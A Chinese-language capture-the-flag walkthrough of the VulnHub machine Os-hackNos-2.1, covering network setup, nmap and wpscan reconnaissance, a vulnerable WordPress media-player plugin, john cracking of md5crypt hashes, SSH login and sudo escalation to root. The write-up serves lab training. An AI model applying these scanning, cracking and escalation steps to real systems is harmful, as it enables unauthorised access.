vulnhub靶机 0s-hackNos-2.1
靶机地址
https://www.vulnhub.com/entry/hacknos-os-hacknos-2,403/#
目标为 普通用户的user.txt和root用户的root.txt
靶机配置
将下载下来的靶机文件Os-hackNos-2.1.ova导入到vm中
导入后,因为无法获取ip地址,故需要进行设置配置
需要在启动界面点击shift进入如下界面按下e
向下翻动,将ro改为rw single init=/bin/bash
然后按下 ctrl+x进入shell
使用ip a
查看网卡名
使用vim /etc/network/interfaces
发现如下内容,说明需要使用netplan来配置网络
使用 :q退出后
使用vim /etc/netplan/50-cloud-init.yaml
进行编辑,此处将错误的网卡改为ens33
然后使用 :wq 保存后重启虚拟机
进行渗透
使用nmap扫描
└─# nmap -sV 192.168.5.133 -O
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-25 15:36 CST
Nmap scan report for 192.168.5.133
Host is up (0.00059s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
MAC Address: 00:0C:29:42:5B:F6 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.60 seconds
得到目标主机开启了22和80端口,有ssh和http服务
那么扫描目标目录
得到一个http://192.168.5.133/tsweb/,在浏览器中访问它
发现是一个用wordpress搭建的博客,那么使用wpscan扫描,api需要自己去获取
wpscan --url http://192.168.5.133/tsweb/ -e vp --api-token + 自己的api
无api可以使用获取全部插件 ap 枚举所有插件,时间较长
wpscan --url http://192.168.5.133/tsweb/ -e ap
发现有漏洞的插件GraceMedia Media Player
查看其中的poc
在靶场中使用,获取密码
将密码保存到本地使用john进行破解
john oshacknos2 --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt
获取密码为 topsecret
进行ssh登录
ssh flag@192.168.5.133
查找有/bin/bash的用户,发现除了root外还有rohit
flag@hacknos:/$cat /etc/passwd | grep bash
文件中遍历查找发现一个文件,通过$1$
后面可以判断是rohit的密码
flag@hacknos:/$ cat /var/backups/passbkp/md5-hash
将他加入到用来解密的文件中
再次使用john进行解密
john oshacknos2 --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt
获得密码 !%hack41
使用
su rohit
切换到 rohit用户
寻找到user.txt
rohit@hacknos:/$ cd home
rohit@hacknos:/home$ ls
rohit
rohit@hacknos:/home$ cd rohit/
rohit@hacknos:~$ ls
user.txt
rohit@hacknos:~$ cat user.txt
############################################
__ __ _______ ______ ______
/ | / | / | / \ / \
$$ | $$ |/$$$$$$$/ /$$$$$$ |/$$$$$$ |
$$ | $$ |$$ \ $$ $$ |$$ |
$$ \__$$ | $$$$$$ |$$$$$$$$/ $$ |
$$ $$/ / $$/ $$ |$$ |
$$$$$$/ $$$$$$$/ $$$$$$$/ $$/
############################################
MD5-HASH : bae11ce4f67af91fa58576c1da2aad4b
发现有sudo的权限,那么直接切换为root用户,获取root的root.txt
rohit@hacknos:~$ sudo su root
root@hacknos:/home/rohit# cd ~
root@hacknos:~# ls
root.txt
root@hacknos:~# cat root.txt
_______ __ __ __ #
/ \ / | / |/ | #
$$$$$$$ | ______ ______ _$$ |_ _$$ |$$ |_ #
$$ |__$$ | / \ / \ / $$ | / $$ $$ | #
$$ $$< /$$$$$$ |/$$$$$$ |$$$$$$/ $$$$$$$$$$/ #
$$$$$$$ |$$ | $$ |$$ | $$ | $$ | __ / $$ $$ | #
$$ | $$ |$$ \__$$ |$$ \__$$ | $$ |/ | $$$$$$$$$$/ #
$$ | $$ |$$ $$/ $$ $$/ $$ $$/ $$ |$$ | #
$$/ $$/ $$$$$$/ $$$$$$/ $$$$/ $$/ $$/ #
#############################################################
#############################################################
MD5-HASH : bae11ce4f67af91fa58576c1da2aad4b
Blog : www.hackNos.com
Author : Rahul Gehlaut
linkedin : https://www.linkedin.com/in/rahulgehlaut/
#############################################################
总结一下
虚拟机没ip,有的时候可以直接 vim /etc/network/interfaces进行配置,有的时候需要 vim /etc/netplan/50-cloud-init.yaml。要根据实际情况进行配置。